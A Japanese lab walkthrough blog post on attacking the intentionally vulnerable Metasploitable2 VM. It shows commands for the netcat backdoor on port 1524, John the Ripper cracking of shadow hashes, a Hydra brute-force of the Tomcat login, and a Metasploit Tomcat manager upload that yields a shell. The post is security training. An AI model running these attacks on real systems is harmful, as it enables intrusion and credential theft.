Kali Linux2022.1 でハッキングラボをつくってみる 7　Metasploitable2をハッキングする4 バックドアの利用とHTTP認証

# はじめに
この記事は、「ハッキング・ラボのつくりかた」P.384-393を参考にしています。
バックドアの確認とhttp認証の解析を行っていきます。

[以前書いた記事](https://qiita.com/kagirohi/items/1969b58fbbb3e440445f#metasploitable-root-shellの脆弱性を利用)で、「Metasploitable root shellからは脆弱性を見つけることができなかった」と書きました。しかし、同書では、「かなり怪しい」、「名前から誰かにすでに侵入されており、バックドア（ルート権限のシェル）が設置されていると推測できます。」としています。
これは、すでに設けられたバックドアとのこと。
確認してみます。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
# バックドアの確認
Metasploitable root shellのポート番号1524のサービス名を確認する。
```shell:
nmap -p 1524 192.168.56.5
#または
nmap -p1524 192.168.56.5
```
ingreslockと出力された。Wikipediaによれば、「商用サポートのある、オープンソースの関係データベース管理システム」とのこと。
![VirtualBox_kali-linux-2022.1-ingreslock.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/55875da8-453a-6a2d-28d4-6edbb9da2297.png)
とりあえず、Netcatで接続してみる。
```shell:
nc 192.168.56.5 1524
```
すると、root権限でアクセスが可能。たしかにバックドアだった。



# shadowファイルからパスワードを復号化する
`nc 192.168.56.5 1524`でアクセスできたついでに、Metasploitable2のパスワードを窃取したい。
パスワードは、"/etc/shadow"というテキストファイルにハッシュ化された状態で保存されている。このファイルは、shadowグループのユーザが読み込みが可能で、rootユーザだけが読み書きできる。
同書では、rootとmsfadminアカウントのパスワードの解析を行っている。
今回、わたしは、すべてのアカウントのパスワードの解析に挑戦した。

辞書攻撃では、klog,sys,serviceのアカウントのパスワードが判明した。
```
john --wordlist=/usr/share/john/password.lst metasploitable_passwd.lst
```
| ユーザー名 | パスワード | 
| :--------: | :---------: |
| klong | 123456789 |
| sys | batman |
| service | service |

総当り攻撃は、非常に時間がかかるので、途中で打ち切った。結局、newuserのアカウントのパスワードしか判明しなかった。

```
john --incremental metasploitable_passwd.lst
```
| ユーザー名 | パスワード |
| :--------: | :--------: |
| newuser | nn |


# HydraでHTTPの認証を解析する
Firefoxに"http:\//192.168.56.5:8180/admin/"と入力して、Tomcatの画面を開く。
wiresharkでパケットを収集しつつ、適当なユーザー名とパスワードでTomcatにログインしようとすると、同書のP.388のようなパケット情報が入手できた。
パケットの情報の中で、Hydraに必要なものは以下の通り

- やられマシンのIPアドレス : 192.168.56.5
- 認証ページ" : "/admin/j_security_check"
- データの送信方式 : POSTメソッド　http-form-post
- ユーザー名変数 : j_username
- パスワード変数 : j_password

httpは、認証を前提としたプロトコルではない。すべてのwebページが、ユーザー名とパスワードで認証を要求するとは限らないことからもわかる。webページ作成者が指定したhttp応答の内容で判断する必要がある。
今回は、ユーザー名もパスワードも不明。認証が失敗したときに、http応答がどのようになるのかは攻撃側からもわかる。
hydraでhttpの認証を解析するときは、認証が失敗したときのメッセージを指定する。
コマンドを実行する
```
hydra -L user.lst -P pass.lst -s 8180 192.168.56.5 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"
```
![VirtualBox_kali-linux-2022.1-tomcat1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/fe8af40f-a0c3-097b-4111-6f6bed402565.png)


次のように指定すると、正しいTomcatのアカウント情報以外に、Metasploitable2に保存されているユーザー名やパスワードが無秩序に出力される。

```
hydra -L user.lst -P pass.lst -s 8180 192.168.56.5 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:ユーザ名またはパスワードが違います"
```
![VirtualBox_kali-linux-2022.1-tomcat2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/5b16d30f-bed8-b308-9899-6774a1cce191.png)
直接の役には立たないが、アカウントをハッキングする参考にはなるかも。
# tomcat経由でシェルを奪取
Metasploitのモジュールでシェルを奪取する。
```:msf >
use exploit/multi/http/tomcat_mgr_upload
set target 2
set payload linux/x86/shell_bind_tcp
set httpusername tomcat
set httppassword tomcat
set rhost 192.168.56.5
set rport 8180
show options
exploit
```
`show options`で下記の通りになっているか確認したあと、`exploit`で実行する。
```
Module options (exploit/multi/http/tomcat_mgr_upload):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  tomcat           no        The password for the specified use
                                            rname
   HttpUsername  tomcat           no        The username to authenticate as
   Proxies                        no        A proxy chain of format type:host:
                                            port[,type:host:port][...]
   RHOSTS        192.168.56.5     yes       The target host(s), see https://gi
                                            thub.com/rapid7/metasploit-framewo
                                            rk/wiki/Using-Metasploit
   RPORT         8180             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing con
                                            nections
   TARGETURI     /manager         yes       The URI path of the manager app (/
                                            html/upload and /undeploy will be
                                            used)
   VHOST                          no        HTTP server virtual host


Payload options (linux/x86/shell_bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  192.168.56.5     no        The target address


Exploit target:

   Id  Name
   --  ----
   2   Linux x86
```
無事、exploitできた。
[Apache Tomcat Manager - Application Deployer (Authenticated) Code Execution (Metasploit) ](https://www.exploit-db.com/exploits/16317)に、報告されている脆弱性を悪用したモジュールを利用した。

# 終わりに
参考にしたもの
「ハッキング・ラボのつくりかた」(OPUSIRON著)

https://hi-nemos.com/port/?port=1524

https://ja.wikipedia.org/wiki/Ingres

https://e-words.jp/w/-etc-shadow.html

https://linuc.org/study/knowledge/510/

https://www.exploit-db.com/exploits/16317